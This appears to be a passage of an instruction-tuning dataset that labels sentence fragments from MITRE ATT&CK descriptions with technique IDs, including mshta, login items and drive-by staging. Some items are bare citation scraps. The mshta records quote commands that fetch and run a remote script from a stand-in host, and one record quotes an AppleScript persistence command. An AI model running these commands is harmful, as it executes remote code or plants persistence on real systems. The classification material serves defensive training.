"List the MITRE techniques contained in the text.", "input": "One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation:", "output": "T1568.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: ### Response: T1568.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)", "output": "T1568.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage) ### Response: T1568.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility.", "output": "T1218.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. ### Response: T1218.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm)", "output": "T1218.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) ### Response: T1218.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files.", "output": "T1218.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. ### Response: T1218.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.", "output": "T1218.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. ### Response: T1218.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>", "output": "T1218.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code> ### Response: T1218.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use.", "output": "T1218.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. ### Response: T1218.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.", "output": "T1218.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. ### Response: T1218.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: LOLBAS Mshta)", "output": "T1218.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Mshta) ### Response: T1218.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation:", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may achieve the same goal by modifying or extending features of the kernel.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may achieve the same goal by modifying or extending features of the kernel. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges.", "output": "T1547.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. ### Response: T1547.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.", "output": "T1547.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>. ### Response: T1547.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Login items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013)", "output": "T1547.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Login items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) ### Response: T1547.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.", "output": "T1547.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications. ### Response: T1547.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup)", "output": "T1547.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) ### Response: T1547.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation:", "output": "T1547.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: ### Response: T1547.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Add List Remove Login Items Apple Script)", "output": "T1547.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Add List Remove Login Items Apple Script) ### Response: T1547.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation:", "output": "T1547.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: ### Response: T1547.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CheckPoint Dok)(Citation: objsee netwire backdoor 2019)", "output": "T1547.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CheckPoint Dok)(Citation: objsee netwire backdoor 2019) ### Response: T1547.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing.", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001).", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site.", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be done in a number of ways, including:\n\n*", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be done in a number of ways, including:\n\n* ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n*", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008)) ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation:", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest.", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.)", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", "output": "T1608.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). ### Response: T1608.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may put in place resources that are referenced by a link that can be used during targeting.", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may put in place resources that are referenced by a link that can be used during targeting. ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001).", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link.", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user.", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation:", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malwarebytes Silent Librarian October 2020)(Citation:", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malwarebytes Silent Librarian October 2020)(Citation: ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proofpoint TA407 September 2019)", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proofpoint TA407 September 2019) ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user. ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.)", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001).", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Link shortening services can also be employed.", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Link shortening services can also be employed. ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use free or paid accounts on Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation:", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use free or paid accounts on Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Intezer App Service Phishing)", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Intezer App Service Phishing) ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022)", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022) ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims.", "output": "T1608.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. ### Response: T1608.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Search engines typically display results to users based on purchased ads as well as the site\u2019s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation:", "output": "T1608.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Search engines typically display results to users based on purchased ads as well as the site\u2019s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: ### Response: 